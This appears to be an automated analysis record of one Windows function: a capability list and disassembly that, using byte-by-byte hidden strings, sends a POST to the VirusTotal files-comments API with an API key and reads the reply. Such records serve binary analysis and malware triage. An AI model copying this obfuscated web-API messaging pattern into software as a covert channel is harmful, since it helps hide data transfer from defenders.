Function at 0x140011244
Capabilities:
Connect to http server
Contain obfuscated stackstrings
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
jmp 0x140012100
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x3c28
call fcn.1400110be
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xd7a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x3c48]
mov rax, qword [0x140021200]
xor rax, rbp
mov qword [rbp + 0x3bd8], rax
lea rcx, [0x1400280a4]
call fcn.140011438
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_74.0.3729.169_Safari_537.36
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140012195
lea rcx, str.Failed_in_InternetOpenA
call fcn.1400112df
jmp 0x140012741
mov byte [rbp + 0x28], 0x77
mov byte [rbp + 0x29], 0x77
mov byte [rbp + 0x2a], 0x77
mov byte [rbp + 0x2b], 0x2e
mov byte [rbp + 0x2c], 0x76
mov byte [rbp + 0x2d], 0x69
mov byte [rbp + 0x2e], 0x72
mov byte [rbp + 0x2f], 0x75
mov byte [rbp + 0x30], 0x73
mov byte [rbp + 0x31], 0x74
mov byte [rbp + 0x32], 0x6f
mov byte [rbp + 0x33], 0x74
mov byte [rbp + 0x34], 0x61
mov byte [rbp + 0x35], 0x6c
mov byte [rbp + 0x36], 0x2e
mov byte [rbp + 0x37], 0x63
mov byte [rbp + 0x38], 0x6f
mov byte [rbp + 0x39], 0x6d
mov byte [rbp + 0x3a], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x1bb
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x58], rax
cmp qword [rbp + 0x58], 0
jne 0x140012235
lea rcx, str.Failed_in_InternetConnectA
call fcn.1400112df
jmp 0x140012741
mov byte [rbp + 0x74], 0x2a
mov byte [rbp + 0x75], 0x2f
mov byte [rbp + 0x76], 0x2a
mov byte [rbp + 0x77], 0
lea rax, [rbp + 0x74]
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa0], 0
mov byte [rbp + 0xc4], 0x50
mov byte [rbp + 0xc5], 0x4f
mov byte [rbp + 0xc6], 0x53
mov byte [rbp + 0xc7], 0x54
mov byte [rbp + 0xc8], 0
mov r8d, 0x3e8
xor edx, edx
lea rcx, [rbp + 0xf0]
call fcn.140011357
mov byte [rbp + 0x4f8], 0x61
mov byte [rbp + 0x4f9], 0x70
mov byte [rbp + 0x4fa], 0x69
mov byte [rbp + 0x4fb], 0x2f
mov byte [rbp + 0x4fc], 0x76
mov byte [rbp + 0x4fd], 0x33
mov byte [rbp + 0x4fe], 0x2f
mov byte [rbp + 0x4ff], 0x66
mov byte [rbp + 0x500], 0x69
mov byte [rbp + 0x501], 0x6c
mov byte [rbp + 0x502], 0x65
mov byte [rbp + 0x503], 0x73
mov byte [rbp + 0x504], 0x2f
mov byte [rbp + 0x505], 0
lea rdx, [rbp + 0x4f8]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, qword [rbp + 0x3c08]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x14001dba0]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov byte [rbp + 0x528], 0x63
mov byte [rbp + 0x529], 0x6f
mov byte [rbp + 0x52a], 0x6d
mov byte [rbp + 0x52b], 0x6d
mov byte [rbp + 0x52c], 0x65
mov byte [rbp + 0x52d], 0x6e
mov byte [rbp + 0x52e], 0x74
mov byte [rbp + 0x52f], 0x73
mov byte [rbp + 0x530], 0
lea rdx, [rbp + 0x528]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x4800000
lea rax, [rbp + 0x98]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0xc4]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rbp + 0x558], rax
cmp qword [rbp + 0x558], 0
jne 0x1400123e6
lea rcx, str.Failed_in_HttpOpenRequestA
call fcn.1400112df
jmp 0x140012741
mov r8d, 0xfa0
xor edx, edx
lea rcx, [rbp + 0x580]
call fcn.140011357
mov byte [rbp + 0x1540], 0x61
mov byte [rbp + 0x1541], 0x63
mov byte [rbp + 0x1542], 0x63
mov byte [rbp + 0x1543], 0x65
mov byte [rbp + 0x1544], 0x70
mov byte [rbp + 0x1545], 0x74
mov byte [rbp + 0x1546], 0x3a
mov byte [rbp + 0x1547], 0x20
mov byte [rbp + 0x1548], 0x61
mov byte [rbp + 0x1549], 0x70
mov byte [rbp + 0x154a], 0x70
mov byte [rbp + 0x154b], 0x6c
mov byte [rbp + 0x154c], 0x69
mov byte [rbp + 0x154d], 0x63
mov byte [rbp + 0x154e], 0x61
mov byte [rbp + 0x154f], 0x74
mov byte [rbp + 0x1550], 0x69
mov byte [rbp + 0x1551], 0x6f
mov byte [rbp + 0x1552], 0x6e
mov byte [rbp + 0x1553], 0x2f
mov byte [rbp + 0x1554], 0x6a
mov byte [rbp + 0x1555], 0x73
mov byte [rbp + 0x1556], 0x6f
mov byte [rbp + 0x1557], 0x6e
mov byte [rbp + 0x1558], 0xd
mov byte [rbp + 0x1559], 0xa
mov byte [rbp + 0x155a], 0x43
mov byte [rbp + 0x155b], 0x6f
mov byte [rbp + 0x155c], 0x6e
mov byte [rbp + 0x155d], 0x74
mov byte [rbp + 0x155e], 0x65
mov byte [rbp + 0x155f], 0x6e
mov byte [rbp + 0x1560], 0x74
mov byte [rbp + 0x1561], 0x2d
mov byte [rbp + 0x1562], 0x74
mov byte [rbp + 0x1563], 0x79
mov byte [rbp + 0x1564], 0x70
mov byte [rbp + 0x1565], 0x65
mov byte [rbp + 0x1566], 0x3a
mov byte [rbp + 0x1567], 0x20
mov byte [rbp + 0x1568], 0x61
mov byte [rbp + 0x1569], 0x70
mov byte [rbp + 0x156a], 0x70
mov byte [rbp + 0x156b], 0x6c
mov byte [rbp + 0x156c], 0x69
mov byte [rbp + 0x156d], 0x63
mov byte [rbp + 0x156e], 0x61
mov byte [rbp + 0x156f], 0x74
mov byte [rbp + 0x1570], 0x69
mov byte [rbp + 0x1571], 0x6f
mov byte [rbp + 0x1572], 0x6e
mov byte [rbp + 0x1573], 0x2f
mov byte [rbp + 0x1574], 0x6a
mov byte [rbp + 0x1575], 0x73
mov byte [rbp + 0x1576], 0x6f
mov byte [rbp + 0x1577], 0x6e
mov byte [rbp + 0x1578], 0xd
mov byte [rbp + 0x1579], 0xa
mov byte [rbp + 0x157a], 0x78
mov byte [rbp + 0x157b], 0x2d
mov byte [rbp + 0x157c], 0x61
mov byte [rbp + 0x157d], 0x70
mov byte [rbp + 0x157e], 0x69
mov byte [rbp + 0x157f], 0x6b
mov byte [rbp + 0x1580], 0x65
mov byte [rbp + 0x1581], 0x79
mov byte [rbp + 0x1582], 0x3a
mov byte [rbp + 0x1583], 0x20
mov byte [rbp + 0x1584], 0
lea rdx, [rbp + 0x1540]
lea rcx, [rbp + 0x580]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, qword [rbp + 0x3c00]
lea rcx, [rbp + 0x580]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rbp + 0x580]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [rbp + 0x15a4], eax
mov r8d, 0x1f40
xor edx, edx
lea rcx, [rbp + 0x15d0]
call fcn.140011357
mov r8, qword [rbp + 0x3c10]
lea rdx, str._data_:_type_:_comment___attributes_:_text_:__s_
lea rcx, [rbp + 0x15d0]
call fcn.1400113f2
lea rcx, [rbp + 0x15d0]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [rbp + 0x3524], eax
mov eax, dword [rbp + 0x3524]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x15d0]
mov r8d, dword [rbp + 0x15a4]
lea rdx, [rbp + 0x580]
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov dword [rbp + 0x3544], eax
cmp dword [rbp + 0x3544], 0
jne 0x1400126a5
lea rcx, str.Failed_in_HttpSendRequestA
call fcn.1400112df
jmp 0x140012741
mov dword [rbp + 0x3564], 1
mov dword [rbp + 0x3584], 0x186a0
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x186a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x35a8], rax
mov dword [rbp + 0x35c4], 0xffffffff
cmp dword [rbp + 0x3564], 0
je 0x14001271e
cmp dword [rbp + 0x35c4], 0
je 0x14001271e
lea r9, [rbp + 0x35c4]
mov r8d, 0x186a0
mov rdx, qword [rbp + 0x35a8]
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov dword [rbp + 0x3564], eax
jmp 0x1400126e3
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001d1b0]
call fcn.1400113b1
mov rax, rdi
mov rcx, qword [rbp + 0x3bd8]
xor rcx, rbp
call fcn.140011217
lea rsp, [rbp + 0x3be8]
pop rdi
pop rbp
ret